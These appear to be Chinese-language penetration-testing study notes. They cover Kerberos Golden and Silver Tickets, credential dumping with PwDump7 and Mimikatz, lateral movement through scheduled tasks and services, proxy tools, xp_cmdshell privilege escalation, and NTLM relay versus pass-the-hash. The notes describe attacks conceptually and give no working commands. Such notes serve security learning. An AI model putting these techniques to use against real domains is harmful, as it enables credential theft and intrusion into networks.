黄金票据和白银票据的区别: 1)、访问权限不同 Golden Ticket: 伪造TGT,可以获取任何Kerberos服务权限。 Silver Ticket: 伪造TGS,只能访问指定的服务。 2)、加密方式不同 Golden Ticket 由Kerberos的Hash—> krbtgt加密。 Silver Ticket 由服务器端密码的Hash值—> master key 加密。 3)、认证流程不同 Golden Ticket 的利用过程需要访问域控(KDC)。 Silver Ticket 可以直接跳过 KDC 直接访问对应的服务器。
域内如何横向
内网渗透测试:内网横向移动基础总结 - FreeBuf网络安全行业门户
1、获取域内单机密码与Hash
在内网渗透中,很多横向移动的方法都需要攻击者先获取域用户的密码或者Hash值才能进行,比如哈希传递攻击、各种票据传递,还有黄金票据维持权限等
PwDump7工具
Pwdump7可以在CMD下提取出系统中的用户的密码hash (包括LM和NTLM),需要系统权限,“骨灰”级黑客玩家可能听说过这个玩具。通过Pwdump7提取出的HASH,可以用ophcrack等工具破出明文密码,对进一步渗透是有很大帮助的。
Mimikatz工具
通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码。
2、利用Windows远程连接命令进行横向渗透
3、利用Windows计划任务进行横向渗透
利用 at 命令
at 命令是Windows自带的用于创建计划任务的命令,但是他主要工作在Windows Server 2008之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。
4、创建Windows服务来进行横向渗透
正向代理和反向代理的解释及对应工具
正向代理与反向代理的概念
正向代理:正向代理就是处于客户端和原始服务器之间的服务器,为了从原始服务器转交请求并制定目标,客户端向代理发送请求并制定目标,然后代理向原始服务器转交请求并将获得的内容返回给客户端。
反向代理:客户端向反向代理发送请求,接着反向代理判断请求走向何处,并将请求转交给客户端, 使得这些内容就好似他自己一样,一次客户端并不会感知到反向代理后面的服务,也因此不需要客户端做任何设置,只需要把反向代理服务器当成真正的服务器就好了。
正向代理是代理客户端,为客户端收发请求,使真实客户端对服务器不可见;
而反向代理是代理服务器端,为服务器收发请求,使真实服务器对客户端不可见。
常见工具列表
正向代理工具
以下是几种常用的正向代理软件及其特点:
-
Squid Squid 是一种高性能缓存代理服务器程序,支持 HTTP 和 FTP 协议,并提供强大的 ACL 控制功能。
-
CNTLM CNTLM 是一款轻量级 Windows 平台下的 NTLM 身份验证代理工具,适合企业环境中需要穿越认证网关的情况。
-
Proxifier Proxifier 支持多种协议(SOCKS 或 HTTPS),允许应用程序经由指定的代理服务器连接 Internet,特别适用于无法自行配置代理设置的应用场景。
反向代理工具
针对反向代理需求,下面列举了一些广泛使用的解决方案:
-
Nginx Nginx 不仅是一个高效的 Web Server,同时也具备出色的反向代理能力。它可以轻松实现负载均衡、SSL 终结等功能,非常适合构建高可用架构环境。
-
Apache HTTP Server (mod_proxy) Apache 的 mod_proxy 模块提供了灵活的反向代理支持选项,配合其他扩展模块还能进一步增强安全性与性能表现。
-
HAProxy HAProxy 是专门设计用来提高网站可靠性和分布流量的开源软件,以其卓越的速度和可靠性著称于世。作为纯 TCP/IP 层面操作的产品之一,它能够在不修改任何原有业务代码的前提下快速集成进现有系统之中。
-
Traefik Traefik 是新一代自动化的现代反向代理兼负载均衡器,内置动态发现服务的能力,可无缝对接 Docker 容器编排平台以及其他主流云原生技术生态体系。
Xp_cmdshell提权原理,步骤
原理:
xp_cmdshell是sql server中的一个组件,xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出。xp_cmdshell能提权的原理是sql server支持堆叠查询方式,xp_cmdshell可以执行cmd的指令,通过执行命令方式利用操作系统权限。
前提条件:
1)、拥有 DBA 权限, 在 2005 中 xp_cmdshell 的权限是 system,2008 中是 network。
2)、依赖 xplog70.dll
步骤:
1)、判断当前是否为DBA权限
2)、查看是否存在 xp_cmdshell
3)、看能否使用 xp_cmdshell,从MSSQL2005版本之后默认关闭,若没有开启,需要开启
4)、执行 xp_cmdshell
ntml中继攻击和哈希传递攻击的区别
NTLM中继攻击(NTLM Relay Attack)和哈希传递攻击(Pass‐the‐Hash Attack)是两种利用Windows身份验证协议中
的漏洞进行攻击的方法,它们有一些本质上的区别:
NTLM中继攻击(NTLM Relay Attack):
1)、NTLM中继攻击是一种网络中间人攻击技术,攻击者通过截获目标系统与其他系统之间的NTLM身份验证流
量,并将其中继到自己控制的另一个系统上。然后,攻击者可以在中继系统上以被攻击系统的身份执行操作,甚至获取完
全的系统访问权限。
2)、在NTLM中继攻击中,攻击者通常会利用目标系统上运行的服务的身份验证流量。例如,如果目标系统上运
行着SMB(Server Message Block)服务,攻击者可以截获NTLM身份验证流量,并将其中继到另一台主机上,以获取对
目标系统的控制权。
哈希传递攻击(Pass‐the‐Hash Attack):
1)、哈希传递攻击是一种利用已经获取的哈希值(如NTLM哈希)而不是明文密码进行身份验证的攻击技术。攻
击者通常不需要知道用户的明文密码,只需要截获或者获取到目标系统上的哈希值,并将其直接传递给其他系统进行身份
验证。
2)、在哈希传递攻击中,攻击者不需要破解密码哈希,而是直接使用被截获的哈希值来进行身份验证。这使得
攻击者能够绕过传统的密码破解防御措施,如密码复杂性策略和密码哈希的盐值。
在实践中,NTLM中继攻击和哈希传递攻击通常结合使用,特别是在攻击者能够截获NTLM身份验证流量并获得哈希值之后。
攻击者可以利用中继攻击来获取哈希值,然后使用哈希传递攻击来利用这些哈希值访问其他系统或者提升权限。